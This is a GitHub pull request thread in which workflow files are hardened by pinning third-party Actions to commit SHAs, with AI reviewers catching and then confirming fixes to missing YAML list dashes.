    • uses: docker/setup-buildx-action@...
  2. .github/workflows/trivy.yml:256 — One step missing the dash:

    • uses: docker/login-action@...

All three should have - uses: (with the leading dash) to be valid YAML list items. These errors will prevent the workflows from executing.


What Was Done Well ✅

  • Consistent SHA pinning format (@SHA # vN) across all files enables Dependabot version updates
  • Internal workflows (liquibase/build-logic@main) correctly left unpinned
  • Comprehensive coverage: all 20 unique action+tag combinations pinned
  • Clear documentation in PR with test plan

Inline comments added to the two files with syntax errors highlighting the exact fixes needed.

View job run: Analysis run

Comment thread .github/workflows/create-release.yml Outdated
Comment on lines +355 to +356
uses: docker/setup-qemu-action@ce360397dd3f832beb865e1373c09c0e9f86d70a # v4
uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Critical: These lines are missing the list indicator dash (-). Should be:

Suggested change
uses: docker/setup-qemu-action@ce360397dd3f832beb865e1373c09c0e9f86d70a # v4
uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4
- uses: docker/setup-qemu-action@ce360397dd3f832beb865e1373c09c0e9f86d70a # v4
- uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4

Without the dash, these steps are not valid YAML list items and the workflow will fail to parse.

Comment thread .github/workflows/trivy.yml Outdated
echo "DOCKERHUB_USERNAME_DECODED=$decoded_username" >> $GITHUB_ENV

- uses: docker/login-action@v4
uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Critical: Missing list indicator dash (-). Should be:

Suggested change
uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4
- uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4

Without the dash, this step is not a valid YAML list item and the workflow will fail to parse.

Copy link
Copy Markdown

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In @.github/workflows/create-release.yml:
- Around line 355-356: The two action lines using
docker/setup-qemu-action@ce3603... and docker/setup-buildx-action@4d04d5... are
missing the required '-' step markers, causing a YAML parse error; edit the
workflow so each of these entries is a proper item in the steps list by
prefixing them with a dash (making them "- uses: docker/setup-qemu-action@..."
and "- uses: docker/setup-buildx-action@...") so they become valid GitHub
Actions steps.

In @.github/workflows/trivy.yml:
- Around line 256-259: The YAML step for the Docker login action is missing the
required step list marker; add a leading '-' before the "uses:
docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2" line so the
"with:" block is properly associated with that step (i.e., ensure the
docker/login-action step is a list item with its nested with: username/password
entries).

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 5e6e2711-cd87-4d69-b32b-77614afedd49

📥 Commits

Reviewing files that changed from the base of the PR and between d3f725e and 83fe855.

📒 Files selected for processing (8)
  • .github/workflows/build-qa-docker.yml
  • .github/workflows/create-release.yml
  • .github/workflows/labeler.yml
  • .github/workflows/publish-liquibase-secure-readme.yml
  • .github/workflows/publish-oss-readme.yml
  • .github/workflows/test.yml
  • .github/workflows/trivy-scan-published-images.yml
  • .github/workflows/trivy.yml
✅ Files skipped from review due to trivial changes (6)
  • .github/workflows/labeler.yml
  • .github/workflows/trivy-scan-published-images.yml
  • .github/workflows/test.yml
  • .github/workflows/build-qa-docker.yml
  • .github/workflows/publish-liquibase-secure-readme.yml
  • .github/workflows/publish-oss-readme.yml

Comment thread .github/workflows/create-release.yml Outdated
Comment thread .github/workflows/trivy.yml Outdated
@claude
Copy link
Copy Markdown
Contributor

claude bot commented Mar 23, 2026

Claude finished @jnewton03's task in 27s —— View job


GitHub Actions SHA Pinning - Verification Complete ✅

Status: YAML Syntax Errors Fixed

The critical YAML syntax errors previously identified in this PR have been successfully addressed in commit d2f074d. Verification of the current branch confirms both files now have valid YAML syntax:

Fixed Issues

  • .github/workflows/create-release.yml (lines 355-356): ✅ Step markers (-) now present before both docker/setup-qemu-action and docker/setup-buildx-action uses declarations
  • .github/workflows/trivy.yml (line 256): ✅ Step marker (-) now present before docker/login-action uses declaration

Current State Verification

Both files now correctly format workflow steps as valid YAML list items:

  • All uses: declarations have proper - prefixes
  • All with: blocks are properly nested under their parent steps
  • YAML syntax is valid and workflows will parse correctly

PR Summary

This PR successfully:
✅ Pins all 20 unique GitHub Actions to immutable commit SHAs
✅ Maintains Dependabot compatibility via @SHA # vN format
✅ Preserves internal workflows (liquibase/build-logic@main) as intended
✅ Fixes YAML syntax errors that would have prevented execution

No further issues identified. This PR is ready for merge once approved.


jnewton03 and others added 2 commits March 27, 2026 13:58
Pin all 20 unique third-party action+tag combos (~58 occurrences) across
8 workflow files to immutable commit SHAs using the @sha # vN pattern.
Prevents supply chain attacks via tag mutation while preserving Dependabot
version update compatibility.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…lows

Add missing '-' list indicators on docker/setup-qemu-action,
docker/setup-buildx-action, and docker/login-action steps that were
dropped during conflict resolution.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@claude
Copy link
Copy Markdown
Contributor

claude bot commented Mar 27, 2026

Claude finished @jnewton03's task in 42s —— View job


✅ GitHub Actions SHA Pinning - Final Review

Status: READY TO MERGE

Verification Complete

All previous YAML syntax errors have been fixed and comprehensive validation confirms the PR is production-ready:

  • No unpinned third-party actions: All @vN format actions pinned to immutable commit SHAs
  • Internal workflows preserved: Only liquibase/build-logic@main references remain (5 instances - correct per design)
  • YAML syntax valid: Both create-release.yml (lines 355-356) and trivy.yml (line 256) properly formatted with step markers
  • Format consistency: All pinned actions use @SHA # vN format for Dependabot compatibility

Coverage Summary

  • 20 unique actions pinned across 8 workflow files (~58 total occurrences)
  • Core actions: checkout, upload/download-artifact, setup-java, labeler, github-script, create-github-app-token
  • Docker actions: login, build-push, setup-buildx, setup-qemu, scout
  • AWS actions: configure-aws-credentials, aws-secretsmanager-get-secrets
  • Third-party: docker/scout, rtCamp/action-slack-notify, github/codeql-action, rsdmike/github-security-report-action, peter-evans/dockerhub-description, the-actions-org/workflow-dispatch, douglascamata/setup-docker-macos

Security Impact

Supply chain attack prevention - Immutable SHA pinning prevents tag mutation attacks
Reproducible builds - Exact action versions guaranteed across all workflow runs
Dependabot compatibility - Version comments enable automated updates

No issues found. This PR successfully hardens the workflow security posture with well-executed implementation.


…ents

Update all pinned action comments from major-only (@sha # vN) to full
semver (@sha # vN.N.N) to match org-wide standard established in
liquibase-infrastructure and build-logic repos.

Also update 4 stale floating-tag SHAs to specific semver release SHAs:
- aws-actions/configure-aws-credentials   fb7eb401 → 8df58475 (v6.0.0)
- aws-actions/aws-secretsmanager-get-secrets 84936736 → a9a7eb4e (v2.0.10)
- rtCamp/action-slack-notify              cdf0a213 → f43175ac (v2.3.3)
- github/codeql-action/upload-sarif       256d6340 → f0213c31 (v4.33.0)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@claude
Copy link
Copy Markdown
Contributor

claude bot commented Mar 31, 2026

Claude finished @jnewton03's task in 1m 11s —— View job


Code Review: GitHub Actions SHA Pinning

✅ Verification Complete

All previous YAML syntax errors have been fixed.

Check Result Details
YAML Syntax ✅ Valid Lines 355-356 (create-release.yml) and 256 (trivy.yml) now properly formatted with step markers
Floating Tags ✅ None found grep -rn 'uses:.*@v[0-9]' | grep -v '# v' returns 0 results
Internal Workflows ✅ Correct Only liquibase/build-logic@main (5 instances) remain unpinned as designed
Pinning Format ✅ Consistent All pins use @SHA # vN format: @de0fac2e...@2d08e5c3... # v7.0.0, etc.
Coverage ✅ Complete 70 pinned actions across 8 workflow files (~58 occurrences)

Key Improvements

  • Supply Chain Security: Immutable SHA pins prevent tag-hijacking attacks
  • Reproducibility: Exact action versions guaranteed across all runs
  • Maintainability: Dependabot version comments enable automated updates
  • Consistency: Uniform format across all 8 workflow files

Actions Pinned (20 unique)

Core: checkout (v6), upload/download-artifact (v7/v4), setup-java (v5), labeler (v6), github-script (v8), create-github-app-token (v2)
Docker: login, build-push (v7), setup-buildx (v4), setup-qemu (v4), scout (v1.18.2)
AWS: configure-aws-credentials (v6), aws-secretsmanager-get-secrets (v2.0.10)
Third-party: docker/scout, rtCamp/action-slack-notify (v2.3.3), github/codeql-action (v4.33.0), rsdmike/github-security-report-action (v3.0.4), peter-evans/dockerhub-description (v5), the-actions-org/workflow-dispatch (v4), douglascamata/setup-docker-macos (v1.1.0)


Status: ✅ READY TO MERGE — No issues found.

@jnewton03 jnewton03 merged commit 028eb47 into main Mar 31, 2026
26 of 30 checks passed
@jnewton03 jnewton03 deleted the DAT-22562 branch March 31, 2026 20:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants